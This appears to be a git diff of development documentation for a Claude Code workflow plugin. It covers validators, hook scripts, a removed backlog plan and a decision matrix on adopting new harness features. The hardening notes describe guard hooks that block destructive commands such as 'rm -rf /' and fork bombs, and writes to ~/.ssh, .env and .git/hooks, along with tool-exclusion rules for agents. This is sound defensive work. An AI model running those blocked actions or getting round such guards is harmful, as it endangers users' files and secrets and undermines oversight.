- **Source:** manual (cross-session coordination brief from the config-audit machine-tuning session)
---
## How to continue
```bash
# (optional) confirm no test pins <example> in descriptions first:
grep -rn 'example' tests/ | grep -i descr
# plan + execute via the voyage pipeline:
/trekplan --project .claude/projects/2026-06-26-agent-description-token-trim/
/trekexecute --project .claude/projects/2026-06-26-agent-description-token-trim/
# or implement directly (it's a uniform, mechanical 17-file edit) and release as a patch (v5.6.2):
# - move each agent's 2 <example> blocks from frontmatter description into a body
# "## When to use — examples" section
# - node --test 'tests/**/*.test.mjs' (green)
# - version-sync + CHANGELOG + tag + catalog ref-bump (check-versions green)
```

View file

@ -97,7 +97,7 @@ received. This is the recovery path when a run has already been burned.
## Measurements
One session, one target unless noted. Target for the reviewer cells:
`docs/devils-advocate-plan.md` (66 lines) — a real plan file, small enough that
`devils-advocate-plan.md` (66 lines, since removed) — a real plan file, small enough that
runtime cannot be confused with hanging.
| # | `subagent_type` | `model` | `name`? | Returned to parent? | Time |

View file

@ -7,13 +7,13 @@ Imported from `CLAUDE.md` via pointer.
`lib/` contains zero-dep validators, parsers, and autonomy primitives wired into the four commands:
- `lib/util/{frontmatter,result,atomic-write,autonomy-gate}.mjs` — shared YAML-frontmatter parser + Result helpers + `atomicWriteJson(path, obj)` for tmp+rename writes + `--gates` flag parser (v3.4.0)
- `lib/parsers/{plan-schema,manifest-yaml,project-discovery,arg-parser,bash-normalize,jaccard,finding-id}.mjs` — pure parsers (no I/O), unit-tested. `manifest-yaml` extended in v3.4.0 with additive `skip_commit_check` + `memory_write` flags (forward-compat: unknown keys ignored)
- `lib/parsers/{plan-schema,manifest-yaml,arg-parser,jaccard,finding-id}.mjs` — pure parsers (no I/O), unit-tested. `manifest-yaml` extended in v3.4.0 with additive `skip_commit_check` + `memory_write` flags (forward-compat: unknown keys ignored)
- `lib/review/{rule-catalogue,plan-review-dedup}.mjs` — version-pinned rule catalogue (17 keys) + Phase 9 inline dedup helpers (v3.4.0)
- `lib/review/{verdict-gate,engine-findings,recurrence}.mjs` — the review gate (K7: 0 ALLOW, or WARN with every counting MAJOR answered · 1 BLOCK · 2 never green), Claude Code `/code-review` + `/security-review` findings → reviewer payload, recurring finding classes → operator-approved project-memory lines (review_version 1.2); `lib/review/fill-finding-ids.mjs` computes the coordinator's `@@ID_<n>@@` placeholders over `(file, line, rule_key)`; `lib/validators/brief-review-stamp.mjs` lets `/trekplan` skip a brief review `/trekbrief` already ran on the same text
- `lib/stats/event-emit.mjs` — single-source stats event emitter for named lifecycle events (`brief-approved`, the main-merge gate and its answer, `user_input`) (v3.4.0)
- `lib/validators/{brief,research,plan,progress,session-state}-validator.mjs` — schema validators with CLI shims (`node lib/validators/X.mjs --json <path>`)
- `lib/validators/architecture-discovery.mjs` — drift-WARN external-contract discovery for `architecture/overview.md`
- `lib/util/research-loop-cap.mjs` — stateful, **default-off** turn budget for the `/trekresearch` bounded conversation loop. `allowTurn()` derives the used-turn count from its own append-only JSONL ledger; it never asks the caller how many turns it has spent, because a cap that does is not a cap. Each grant first claims a turn **slot** with `O_EXCL` under `trekresearch-loop-claims/`, so the bound survives several callers deciding at once — counting the ledger and then appending is read-then-write, and Phase 4.5/5 can spawn several agents in one message. Budget = `TREKRESEARCH_MAX_CONV_TURNS` (default `3`, invalid values fall back to `3`) × `maxDimensions` (8, `settings.json:16`). **Default-off:** grants 0 unless `VOYAGE_STORM_ENABLED=1`, which is also the second condition on Phase 4.5's skip-guard (that phase does not call this module): unset, **both** STORM phases are inert. `resolveDataRoot()` is the single root for everything the loop writes — `CLAUDE_PLUGIN_DATA` when the harness sets it, `~/.claude/voyage` when it does not (it is empty in the Bash tool's process env, which is where the loop actually runs); the cap hook resolves through the same function, so writer and reader cannot disagree. A ledger that cannot be **written** denies the turn, and one that exists but cannot be **read** denies it too — only `ENOENT` counts as zero turns spent, that being the legitimate first-turn state (fail-closed — the opposite of `event-emit.mjs`, which is telemetry and must never block). The exported `readLedger()` is the single counting rule; the cap hook calls it rather than keeping a private copy. `checkDimensionCeiling()` is the reader for the OTHER axis of the bounded-cost NFR — the size of the whole dimension list after Phase 4.5 discovery — against the same `MAX_TOTAL_DIMENSIONS`, so the two axes cannot enforce different numbers for one `settings.json:16` value; an unreadable count is rejected, not waved through. CLI shim, two modes: `--run-id ID --dimension D --effort E` (budget gate) and `--check-dimensions N` (ceiling, no run id/effort/flag required since Phase 4.5 never calls the budget gate)
- `lib/util/research-loop-cap.mjs` — stateful, **default-off** turn budget for the `/trekresearch` bounded conversation loop. `allowTurn()` derives the used-turn count from its own append-only JSONL ledger; it never asks the caller how many turns it has spent, because a cap that does is not a cap. Each grant first claims a turn **slot** with `O_EXCL` under `trekresearch-loop-claims/`, so the bound survives several callers deciding at once — counting the ledger and then appending is read-then-write, and Phase 4.5/5 can spawn several agents in one message. Budget = `TREKRESEARCH_MAX_CONV_TURNS` (default `3`, invalid values fall back to `3`) × `maxDimensions` (8, `MAX_TOTAL_DIMENSIONS`). **Default-off:** grants 0 unless `VOYAGE_STORM_ENABLED=1`, which is also the second condition on Phase 4.5's skip-guard (that phase does not call this module): unset, **both** STORM phases are inert. `resolveDataRoot()` is the single root for everything the loop writes — `CLAUDE_PLUGIN_DATA` when the harness sets it, `~/.claude/voyage` when it does not (it is empty in the Bash tool's process env, which is where the loop actually runs); the cap hook resolves through the same function, so writer and reader cannot disagree. A ledger that cannot be **written** denies the turn, and one that exists but cannot be **read** denies it too — only `ENOENT` counts as zero turns spent, that being the legitimate first-turn state (fail-closed — the opposite of `event-emit.mjs`, which is telemetry and must never block). The exported `readLedger()` is the single counting rule; the cap hook calls it rather than keeping a private copy. `checkDimensionCeiling()` is the reader for the OTHER axis of the bounded-cost NFR — the size of the whole dimension list after Phase 4.5 discovery — against the same `MAX_TOTAL_DIMENSIONS`, so the two axes cannot enforce different numbers for one ceiling; an unreadable count is rejected, not waved through. CLI shim, two modes: `--run-id ID --dimension D --effort E` (budget gate) and `--check-dimensions N` (ceiling, no run id/effort/flag required since Phase 4.5 never calls the budget gate)
- `lib/validators/query-privacy-gate.mjs` — gates **every** outbound research query before it leaves the machine; the hard-block tier (secret-shaped strings) is not operator-overridable, so a query that trips it must be reformulated rather than forced through. CLI shim: `node lib/validators/query-privacy-gate.mjs "<query>"`
Wiring points (replaces previous prose-grep instructions):
@ -22,13 +22,13 @@ Wiring points (replaces previous prose-grep instructions):
- `/trekplan` Phase 8 → `plan-validator --strict` (replaces 3 `grep -cE` calls)
- `/trekexecute --validate` → `plan-validator --strict` + `progress-validator`
Tests under `tests/**/*.test.mjs` (~290 tests, 0 deps). `npm test` is the fork-readiness gate. v3.4.0 adds: synthetic determinism fixtures (`tests/synthetic/plan-run-*.md` + `review-run-*.md` + companion `*-determinism.test.mjs` enforcing Jaccard ≥ 0.833 SC7 floor) and hook baseline regression pins (`tests/hooks/{path-guard,bash-guard}.test.mjs` exercising `pre-write-executor.mjs` + `pre-bash-executor.mjs` denylist BLOCK paths).
Tests under `tests/**/*.test.mjs` (~290 tests, 0 deps). `npm test` is the fork-readiness gate. v3.4.0 adds: hook baseline regression pins (`tests/hooks/{path-guard,bash-guard}.test.mjs` exercising `pre-write-executor.mjs` + `pre-bash-executor.mjs` denylist BLOCK paths).
Doc-consistency test at `tests/lib/doc-consistency.test.mjs` pins agent-table count, command-table coverage, plan_version invariant, settings.json scope cleanliness, Handover 7 presence, and `session-state-validator` CLI shim.
Doc-consistency test at `tests/lib/doc-consistency.test.mjs` pins agent-table count, command-table coverage, plan_version invariant, Handover 7 presence, and `session-state-validator` CLI shim.
`docs/HANDOVER-CONTRACTS.md` is the single source of truth for the 7 pipeline handovers (brief→research, research→plan, architecture→plan EXTERNAL, plan→execute, progress.json resume, review→plan, `.session-state.local.json`). Read it before changing any artifact format.
`hooks/scripts/pre-compact-flush.mjs` (PreCompact event, CC v2.1.105+) fixes the documented P0 in `docs/trekexecute-v2-observations-from-config-audit-v4.md`: keeps `progress.json` in sync with git history before context compaction so `--resume` works after long conversations. Atomic write, monotonic only, never blocks compaction.
`hooks/scripts/pre-compact-flush.mjs` (PreCompact event, CC v2.1.105+) fixes a documented P0: keeps `progress.json` in sync with git history before context compaction so `--resume` works after long conversations. Atomic write, monotonic only, never blocks compaction.
`hooks/scripts/session-title.mjs` (UserPromptSubmit, CC v2.1.94+) sets `sessionTitle` to `voyage:<command>:<slug>` for voyage-command invocations. Helps parallel sessions identify themselves in process lists.
@ -87,21 +87,21 @@ No code-level dependency between plugins — the contract is filesystem-level on
### Primitives per step (decision matrix)
Which native Claude Code primitive each pipeline step runs on today, and the alternatives that were considered and where they landed. Companion to *Delegate the engine, keep the policy* above; the full decision records live in `docs/voyage-vs-cc-balance-analysis.md`, `docs/T1-cc26-delegated-orchestration.md`, and `docs/T2-cc27-workflow-substrate.md`.
Which native Claude Code primitive each pipeline step runs on today, and the alternatives that were considered and where they landed. Companion to *Delegate the engine, keep the policy* above; the decision record lives in `docs/T1-cc26-delegated-orchestration.md`. The orchestration runs inline in the session, not in a delegated orchestrator agent, because the swarm's results end in the main context anyway (the orchestrator reference docs are removed).
| Step | Primitive today (production) | Alternatives considered (status) |
|---|---|---|
| **brief** | Inline interview loop → `brief.md` (framing gate) | `AskUserQuestion` as the Q&A engine (recommended, not yet wired); Skill/Workflow auto-orchestration (rejected — one-shot, can't span slash-command/handover boundaries) |
| **research** | Inline spawns a foreground swarm; MCP per agent¹ | Delegated `synthesis-agent` (PoC measured Δ main-context ≈ 0 → ships **dormant**, wired to nothing) |
| **plan** | Inline: parallel explorer swarm → synthesis → adversarial `plan-critic` | Delegated orchestrator via nested sub-agents (CC-26 → lean NO, not wired; `planning-orchestrator.md` is a reference doc, not a spawnable agent) |
| **research** | Inline spawns a foreground swarm; MCP per agent¹ | Delegated `synthesis-agent` (PoC measured Δ main-context ≈ 0 → removed) |
| **plan** | Inline: parallel explorer swarm → synthesis → adversarial `plan-critic` | Delegated orchestrator via nested sub-agents (CC-26 → lean NO, not wired) |
| **execute** | Inline step loop; multi-session via `git worktree` + session orders the user runs, wave by wave; deterministic manifest audit | CC `TaskCreate`/`TodoWrite` for progress/resume (insufficient — carries no step status / attempts / SHA / drift → own typed `progress.json` contract) |
| **review** | Inline parallel reviewers (no cross-feed) → `review-coordinator` Judge | **Workflow** substrate for Phase 5–6 (bake-off POSITIVE: +4.4 % tokens / +54 % wall-time → shipped **opt-in `--workflow`**, not default; wholesale substrate swap declined) |
| **review** | Inline parallel reviewers (no cross-feed) → `review-coordinator` Judge | **Workflow** substrate for Phase 5–6 (bake-off POSITIVE: +4.4 % tokens / +54 % wall-time → shipped opt-in, since removed; wholesale substrate swap declined) |
| **continue** | Inline reads `.session-state.local.json` → zero-confirm resume | CC `--resume` (transcript replay, not typed work-state → insufficient) |
| **cross-cutting** | 8 hook scripts: `pre-bash` + `pre-write` guards, `pre-agent-cap` loop-bound enforcement, `post-bash` stats, `session-title`, `pre-`/`post-compact` flush, **`Stop`→OTEL** export | — |
¹ MCP per research agent: `docs-researcher` → Microsoft Learn + Tavily · `community-`/`security-`/`contrarian-researcher` → Tavily (+ WebSearch/WebFetch). Graceful degradation when an MCP server is absent.
**Legend:** *production* = wired and active · *dormant* = shipped but wired to nothing (`synthesis-agent`) · *opt-in* = behind a flag (`--workflow`) · *not wired* = considered, deferred (delegated orchestrator, the `AskUserQuestion` brief engine).
**Legend:** *production* = wired and active · *not wired* = considered, deferred (delegated orchestrator, the `AskUserQuestion` brief engine).
## State

View file

@ -1,79 +0,0 @@
# Balance Backlog — Implementation Plan (multi-session)
**Status:** Active plan, decisions RESOLVED 2026-06-20. Mandated by operator ("vi skal gjøre alle backlog items").
**Source:** the §6 backlog of `docs/voyage-vs-cc-balance-analysis.md`.
**Operating mode:** ONE session per row → TDD (failing test first) → commit + push → update STATE → STOP. Direct surgical TDD, **not** Voyage-pipeline dogfood.
---
## Decision Register — RESOLVED (operator 2026-06-20)
The analysis deferred three forks to the operator. All three resolved to the conservative option (preserve capability / security code / the deliberate pin):
| # | Item | **Resolution** | Effect on plan |
|---|------|----------------|----------------|
| **D1** | V09 gemini-bridge | **Keep it as an agent** (count stays 24; model governed by D3) | No removal/rewiring. Model stays opus (D3). |
| **D2** | V32 observability export | **Keep `lib/exporters/*` + `otel-export.mjs`; document the direct-export rationale** | Doc-only, no deletion of S21 security code. |
| **D3** | 24-agents `model: opus` pin (`40d8742`) | **Keep the pin firm** | V09/V35/V08/V11/V16 model changes → **document-only** (record considered-and-kept). No guard-test change. |
**Consequence:** the model + observability work collapses from code-deletion to a documentation record. Real code remains in V15 (export trim) and V30 (economy calibration). The plan is now **4 sessions** (2 code, 2 doc/audit).
---
## Cross-cutting constraints (every session)
- **No Handover-1 change.** The brief schema is the public contract; nothing here touches it. (V05 memory-alignment, the lone `breaking` capability, is KEEP-as-is — out of scope.)
- **Doc-consistency is guard-tested** (`tests/lib/doc-consistency.test.mjs`, `tests/lib/agent-frontmatter.test.mjs`). Any inventory/count/model wording change must keep them green and stay coherent with README / CLAUDE.md + the "24 agents opus" references in `docs/voyage-vs-cc-balance-analysis.md` + STATE. Fix the SOURCE a pin guards, not the test.
- **Test baseline:** 729 (`727/2/0`, bar `node --test`). Each session re-baselines + states the new count. `claude plugin validate` stays green (1 accepted warning).
- **Line numbers rot** — re-grep the live file before editing.
---
## Session sequence (finalized — 4 sessions)
### S31 — V15: trim plan-export to its load-bearing variant · [CODE · non-breaking · no pin]
- **Goal:** drop the `pr` / `issue` / `markdown` export variants from `trekplan --export` (CC auto-mode reformats markdown ad-hoc equally well); keep `--export headless` and relabel it as the decomposition entry it actually is.
- **Files:** `commands/trekplan.md` (Phase 1.5 `--export`), `docs/command-modes.md`, export tests under `tests/`.
- **TDD:** failing test asserting `pr|issue|markdown` are gone and `--export headless`(decompose) still resolves → implement → green.
- **Verify:** `node --test` (new count); `grep -c "export pr" commands/trekplan.md` = 0; `--export headless` intact; plugin validate.
- **Depends-on:** none.
### S32 — V01 + V07/V08/V11/V24: delegate-to-native hygiene · [CODE + AUDIT · non-breaking]
- **Goal:** (V01) delegate the literal brief-interview Q&A turn-taking to `AskUserQuestion` rather than a hand-rolled selection loop; (V07/V08/V11/V24) audit that the research/exploration/reviewer swarms ride native parallel Agent spawn + `AskUserQuestion` and re-implement no engine. Fix any real re-implementation; otherwise document the "delegate the engine, keep the policy" principle.
- **Files:** `commands/trekbrief.md` (Phase 3), `commands/trekresearch.md`, `commands/trekplan.md`, `commands/trekreview.md`, `docs/architecture.md` (principle note).
- **TDD:** where an edit is made, a test pinning the delegated behavior; the audit portion yields a documented finding (no code change if already native).
- **Verify:** `node --test`; plugin validate; principle note present in `docs/architecture.md`.
- **Depends-on:** none.
### S33 — Documentation consolidation: record the considered-and-kept decisions · [DOC · non-breaking]
Bundles the three items that D1–D3 turned into documentation:
- **V35 (doc half):** relabel `planning- / research- / review-orchestrator` as **reference docs, not spawnable capabilities**; reconcile the "24 agents" framing (= 21 spawnable + 3 reference docs + 1 dormant `synthesis-agent`) across README / CLAUDE.md / docs.
- **V32 rationale (D2):** add to `docs/observability.md` why custom exporters + SSRF/path/field guards rather than a native collector (preserves S21 hardening; deliberate direct-export choice).
- **Kept-opus rationale (D3):** record that opus on V09 (glue), V35 (dormant), V08/V11/V16 (mechanical/retrieval) was reconsidered and kept (pin `40d8742` stands) — a short note in the analysis doc / CLAUDE.md, no frontmatter change.
- **Files:** `README.md`, `CLAUDE.md`, `agents/*-orchestrator.md` (header clarity), `docs/observability.md`, `docs/voyage-vs-cc-balance-analysis.md` (decision-record addendum), `tests/lib/doc-consistency.test.mjs`.
- **TDD:** doc-consistency pin updated to the reconciled inventory framing → green.
- **Verify:** `node --test`; counts/model claims coherent across all docs; `agent-frontmatter.test.mjs` unchanged + green (no model change).
- **Depends-on:** none (settles the inventory baseline).
### S34 — V30: economy-profile Jaccard calibration · [CODE · non-breaking · pin-adjacent] ✅ DONE (2026-06-20)
- **Goal:** the `economy`-profile Jaccard floor (0.55) is grounded in parked synthetic fixtures (Step-17 calibration deferred). Either run the calibration against real fixtures and replace the floor, **or** clearly relabel `economy` as experimental/uncalibrated in docs + the profile.
- **Resolution: Path B — label, not calibrate.** The empirical run is v4.2-budget-gated ($60–120, unauthorized), so the fork is forced. `lib/profiles/economy.yaml` now carries `experimental: true` (validator type-checks the optional boolean); README + `docs/operations.md` + `docs/profiles.md` flag the `economy` row; the calibration doc cross-references the marker. (`lib/parsers/profile-jaccard.mjs` was untouched — it was listed for the calibration path only.)
- **TDD:** 5 tests — economy declares `experimental: true`, premium/balanced do not, validator rejects non-boolean `experimental`, every profile-doc economy row flagged experimental, and the flag tracks the calibration's `parked-synthetic` status. Baseline 739 → **744 (742/2/0)**.
- **Verify:** ✅ `node --test` green; ✅ `claude plugin validate` (1 accepted warning); economy's status now unambiguous + machine-checked.
- **Depends-on:** none (lowest urgency; placed last).
**Backlog complete — 4/4 sessions shipped (S31–S34). All 8 §6 items disposed; 2 real code changes (V15 export-trim, V30 economy-label), the rest doc/audit.**
---
## Verification (plan-level)
- Every §6 backlog row maps to exactly one session: V15→S31; V01+V07/V08/V11/V24→S32; V35+V32+opus-pin record→S33; V30→S34. (8 items → 4 sessions after the conservative decisions.)
- No session changes Handover 1; no operator pin overridden (D3 kept firm).
- Each session ends green on `node --test` + `claude plugin validate`, doc-consistency reconciled.
## Out of scope (explicitly NOT in this plan)
- No gemini-bridge removal (D1 keep); no exporter deletion (D2 keep); no model downgrades (D3 firm).
- No wholesale Workflow substrate swap (CC-27 DECLINED; V27 stays opt-in); no delegated-orchestration redesign (CC-26 lean-NO).
- No brief-schema (Handover-1) change; no reopening of premium-default / framing-gate pins.

View file

@ -1,311 +0,0 @@
# CC-upgrade decision matrix — Claude Code 2.1.130 → 2.1.181
**Scope:** Evaluate every relevant Claude Code change shipped between 2.1.130 and 2.1.181 (latest as of 2026-06-18) against Voyage v5.1.1, and decide adoption per change.
**Precedent:** This continues the F2–F14 feature-adoption process referenced in the roadmap ("ny CC-versjon med relevant feature → vurder adopsjon analogt med F2–F14-prosessen"). The F-catalogue came from the extracted `ultra-cc-architect` plugin and is no longer bundled; this matrix is a fresh, self-contained catalogue (`CC-NN`) for the 2.1.130→181 window.
**Method:** Two-track research (CC changelog digest + Voyage CC-capability surface inventory), synthesized in a single context. Sources: official changelog (`code.claude.com/docs/en/changelog.md`) + canonical `anthropics/claude-code` CHANGELOG.
## Provenance & verification (verifiseringsplikt)
- **Verified verbatim against the official changelog** (load-bearing claims): `2.1.172` sub-agent nesting; `2.1.154` Opus 4.8 + dynamic workflows; `2.1.166` SendMessage authority; `2.1.178` `Tool(param:value)` syntax; `effort:` frontmatter (`2.1.154`/`2.1.152`).
- **From changelog research, not independently re-verified line-by-line:** all other entries below. Where a decision *hinges* on an unverified claim, it is marked ⚠️ and routed to EVALUATE, never SHIP.
- **Note on 2.1.130–2.1.135:** these versions are not in the public changelog (public window begins 2.1.136). No user-facing entries to evaluate.
## Decision legend
| Decision | Meaning |
|----------|---------|
| **SHIP** | Adopt now — clear fit, low risk, no open design question. |
| **EVALUATE** | Needs an empirical test or a design decision before ship/skip. The hard architectural items live here — honest, not deferred-by-another-name. |
| **DEFER** | Adopt later; trigger noted. Not weekend-critical. |
| **SKIP** | Not applicable or rejected; reason noted. |
## Workstream legend
| WS | Theme | Weekend-shippable? |
|----|-------|--------------------|
| **W0** | Correctness/trust — fix now-false documentation | Yes |
| **W1** | Orchestration architecture — delegated spawning / Workflow adoption | No (multi-week, empirical) |
| **W2** | Model & effort alignment (Opus 4.8 + native `effort:`) — **gates v5.4** | Partial |
| **W3** | Guardrails & hooks | Partial |
| **W4** | Free wins & release hygiene | Yes |
---
## W0 — Correctness / trust (the headline)
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|----|------------------|------|------------------|----------|-----------|
| **CC-01** | Sub-agents can spawn their own sub-agents, up to 5 levels deep (**2.1.172**, verified); foreground subagents respect the same depth cap (2.1.181) | BREAKING-premise | Voyage's v2.4.0 inline-orchestration migration is justified in 4 places by the claim "the harness does not expose the Agent tool to sub-agents" → `agents/planning-orchestrator.md:5–11`, `agents/research-orchestrator.md:5–10`, `agents/review-orchestrator.md:5–12,:220`, `commands/trekplan.md:399–406`. **That claim is now factually false.** | **SHIP** (doc correction) | Independent of the architecture decision (W1), the docs assert an impossibility that is now possible. Correct the four sites to state the factual position: as of CC 2.1.172 sub-agents *can* spawn sub-agents (≤5 deep); Voyage currently still orchestrates inline; re-architecture is under evaluation (W1/CC-26). Do **not** silently delete — replace with truth + forward pointer. The *design* response is CC-26 (EVALUATE). |
---
## W4 — Free wins & release hygiene (weekend-shippable)
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|----|------------------|------|------------------|----------|-----------|
| **CC-02** | MCP `tools/list` pagination fixes (2.1.144/147); `MCP_TOOL_TIMEOUT` raises remote fetch timeout (2.1.142); sub-1000ms `timeout` now ignored→default (2.1.162) | FIX | research agents (`docs-researcher`, `*-researcher`) use tavily/ms-learn/gemini MCP | **SHIP** (verify) | Automatic benefit — no code change. Verify research agents still enumerate tools correctly under paginated servers. |
| **CC-03** | `SendMessage` relayed messages lose user authority (**2.1.166**, verified) | BREAKING | Voyage uses `SendMessage` **nowhere** (confirmed by inventory) | **SKIP** | No impact. Recorded so a future `SendMessage`-based design knows the constraint up front. |
| **CC-04** | Subagent frontmatter `mcpServers` now enforce `--strict-mcp-config` + enterprise allow/deny (2.1.153) | CHANGE | Voyage ships **no `.mcp.json`** and declares MCP *tool grants* (`mcp__tavily__…`) not server *configs*; agents degrade gracefully when servers absent | **EVALUATE** (low) | Likely no impact, but confirm research agents degrade cleanly under `--strict-mcp-config`. One quick test. |
| **CC-05** | Fable 5 `[1m]` model-name suffix normalized automatically (2.1.173) | FIX | Voyage pins the `opus` alias, not raw ids | **SKIP** | No action; noted for completeness. |
| **CC-06** | `claude plugin validate` flags `skills:` pointing at a file vs dir (2.1.145); richer `claude plugin details` (2.1.143/145) | NEW | release process | **SHIP** (process) | Add `claude plugin validate` to the pre-release checklist. Voyage ships no skills, but validate also checks manifest/components. |
| **CC-07** | `fallbackModel` setting — up to 3 ordered fallbacks; `--fallback-model` now applies to interactive too (2.1.166) | NEW | `trekexecute` headless children (`claude -p`) could gain resilience to model-overload | **DEFER** | Real value for long headless waves. Trigger: when we touch `trekexecute` Phase 2.6 launch flags (or in W2 model work). Not weekend-critical. |
| **CC-08** | Hooks may not fire reliably in headless child sessions — Voyage documents GH #36071 (`trekexecute.md:341`, `templates/headless-launch-template.md:48`) | (status unknown) | safety-preamble is the headless defense if hooks don't run | **EVALUATE** ⚠️ | Changelog does **not** confirm #36071 is fixed. Verify current status before relaxing the in-prompt safety preamble. Until verified: keep the preamble. |
| **CC-09** | `--safe-mode` / `CLAUDE_CODE_SAFE_MODE` — start with all customizations disabled (2.1.169) | NEW | dev/test aid — reproduce "bare harness" behavior | **DEFER** | Useful for regression-testing Voyage against an unconfigured harness. Adopt into test tooling when convenient. |
---
## W3 — Guardrails & hooks
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|----|------------------|------|------------------|----------|-----------|
| **CC-10** | `Tool(param:value)` permission syntax, e.g. `Agent(model:opus)` (**2.1.178**, verified) | NEW | Voyage pins `opus` in 23 agent frontmatters *by convention*; this could enforce it as a hard permission rule | **DECIDED (design note)** ⚠️ | **Trap:** a blanket `Agent(model:opus)`-style rule conflicts with the `balanced`/`economy` profiles, which deliberately spawn `sonnet`. Any enforcement must be **profile-aware** → tie to W2. Do NOT ship a blanket opus-lock. **S2 resolution: no rule added; deferred into W2** — see §S2 resolutions. |
| **CC-11** | `disallowed-tools` in command/skill frontmatter (2.1.152, verified) | NEW | tighten per-command tool surfaces (e.g. ensure `trekexecute` can't spawn Agents — it already documents "no Agent tool") | **SHIPPED ✅** | Promote existing *documented* tool exclusions into *enforced* `disallowed-tools`. Small, defense-in-depth. **S2: added `disallowed-tools: Agent, TeamCreate` to `trekexecute` frontmatter** (the only command with a documented exclusion). Verified `allowed-tools` omission does NOT remove a tool from the pool — `disallowed-tools` does. |
| **CC-12** | Stop/SubagentStop hooks can return `hookSpecificOutput.additionalContext` without being a hook error (2.1.163) | NEW | `post-compact-flush.mjs` already emits `additionalContext`; SubagentStop is a new surface | **DEFER** | Possible richer continuity injection. No current gap forces it. |
| **CC-13** | Stop/SubagentStop hook input now includes `background_tasks` + `session_crons` (2.1.145) | NEW | `otel-export.mjs` (Stop hook) observability | **DEFER** | Could enrich exported telemetry. Adopt when next touching the exporter. |
| **CC-14** | Hook `args: string[]` exec-form — no shell, no quoting (2.1.139) | NEW | Voyage's 7 hooks invoke node scripts via shell form with `${CLAUDE_PLUGIN_ROOT}` paths | **SHIPPED ✅** | Exec-form removes a class of path-quoting bugs. **S2: migrated all 7 hooks** in `hooks/hooks.json` to `{command:"node", args:["${CLAUDE_PLUGIN_ROOT}/…"]}`. Official hooks doc recommends exec-form *"whenever the hook references a path placeholder"* — protects consumers who install Voyage under a path containing spaces. `${CLAUDE_PLUGIN_ROOT}` interpolates in `args` (verified). |
| **CC-15** | Hook `if:` conditions for Read/Edit/Write paths now match reliably (2.1.139/176); reopens deferred **F2** (scope pre-bash/pre-write executors to execute sessions) | FIX | `pre-bash-executor.mjs`, `pre-write-executor.mjs` are currently universal | **DECIDED (keep universal)** | F2 was deferred with "universal protection wins." The `if:` mechanism now works, so the *option* is real again — but the original rationale holds. **S2 resolution: KEEP UNIVERSAL.** These guardrails (rm -rf /, fork bombs; writes to ~/.ssh, .env, .git/hooks) are session-agnostic safety; narrowing to execute-only would only weaken protection with no benefit and never interferes with brief/research/plan work. Header comments corrected to state the universal scope. |
| **CC-16** | `SessionStart` `reloadSkills` + `sessionTitle` (2.1.152) | NEW | Voyage sets session title via `UserPromptSubmit` (`session-title.mjs`) | **SKIP** | Current mechanism works and is command-scoped (title reflects the invoked `/trek*` command). SessionStart-title would fire before the command is known. No gain. |
| **CC-17** | Hook `terminalSequence` output — notifications/bells without a TTY (2.1.141); `continueOnBlock` for PostToolUse (2.1.139); `MessageDisplay` event (2.1.152); Stop block-cap 8 (2.1.143) | NEW | minor ergonomics; Voyage hooks are fail-open and non-interactive | **SKIP/DEFER** | No current need. `MessageDisplay`/`continueOnBlock` SKIP (no use case); `terminalSequence` DEFER (could notify on long headless waves). Block-cap is informational. |
---
## S2 resolutions (W3 hardening — 2026-06-18)
S2 shipped the mechanical W3 items and recorded the two W3 decisions. Schemas verified verbatim against the official slash-commands and hooks docs before any edit (the casing of `disallowed-tools` and exec-form `${CLAUDE_PLUGIN_ROOT}` interpolation are both load-bearing; a first-pass assistant claim of `disallowedTools` camelCase was caught and corrected against the doc).
- **CC-14 — SHIPPED.** All 7 hooks in `hooks/hooks.json` migrated to exec-form (`command:"node"`, `args:["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/X.mjs"]`). `tests/hooks/hooks-json-stop-wired.test.mjs` updated to be form-agnostic (normalizes `command`+`args` to one invocation string). 578/580 pass, 0 fail.
- **CC-11 — SHIPPED.** `disallowed-tools: Agent, TeamCreate` added to `commands/trekexecute.md`, promoting its documented "No Agent tool, no TeamCreate, no delegation" rule from prose to enforcement. Key fact: `allowed-tools` grants auto-approval but does **not** remove tools from the pool (doc, slash-commands.md), so the prior omission left Agent callable; `disallowed-tools` removes it. trekexecute is the only command with a documented exclusion (trekplan's "never spawn more agents than warranted" is an adaptive-count guideline, not an exclusion — trekplan legitimately uses Agent).
- **CC-15 — DECIDED (keep universal).** F2 stays deferred: `pre-bash-executor.mjs` / `pre-write-executor.mjs` remain universal. Rationale re-affirmed explicitly now that `if:` works — narrowing to execute-only sessions would weaken session-agnostic safety with no benefit. Header comments corrected to state the universal scope by design.
- **CC-10 — DECIDED (design note; no code).** Do **not** add a `permissions.deny` rule like `Agent(model:opus)`. Such rules live in `settings.json` permissions (colon separator inside parens, confirmed 2.1.178), not in frontmatter, and a blanket opus-lock would break the `balanced`/`economy` profiles that deliberately spawn `sonnet`. If model-enforcement is ever wanted, it must be **profile-aware** and emitted as part of the W2 model/effort work (S3/S4) — e.g. a profile could ship its own `availableModels`/deny set. Until then, the `model: opus` convention in the 23 agent frontmatters stays advisory. Folded into W2 open question #3.
## W2 — Model & effort alignment (gates v5.4)
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|----|------------------|------|------------------|----------|-----------|
| **CC-21** | **Opus 4.8** available; `opus` defaults to high/xhigh effort (**2.1.154**, verified) | NEW | All 23 agents + 7 commands pin `model: opus` → now resolve to 4.8 at a higher default effort | **DECIDED (S3)** | Accept Opus-4.8-`high` as the new baseline (verified: opus default = `high`). The moderation lever is native `effort:` (CC-22 option C). Doc follow-up: update model/effort references in `CLAUDE.md`/`docs/profiles.md`/README. See §S3 resolutions. |
| **CC-22** | Native `effort:` frontmatter on agents/skills/commands + 5 levels low/medium/high/xhigh/max (**2.1.149/154**, verified) | NEW | Voyage **reinvented** effort as `phase_signals` (low/standard/high) + the `phase-signal-resolver.mjs`/`resolver.mjs` system (which carries the MAJOR doc/code-inconsistency finding) | **DECIDED (S3): option C** | **Resolved.** The (a)-map premise was false: Voyage `effort` = *orchestration-shape* (which agents/passes/gates run, consumed by command prose), native `effort:` = *per-spawn reasoning budget* — **different axes, same name.** Decision: **freeze `phase_signals.effort` 3-level (low/standard/high) as-is** (unblocks v5.4) and adopt native `effort:` **additively at the agent/profile layer, outside the brief contract.** Field name kept `effort` (no breaking rename) + distinction documented. Does NOT retire the resolver MAJOR (that's model-gating, independent — S4). See §S3 resolutions. |
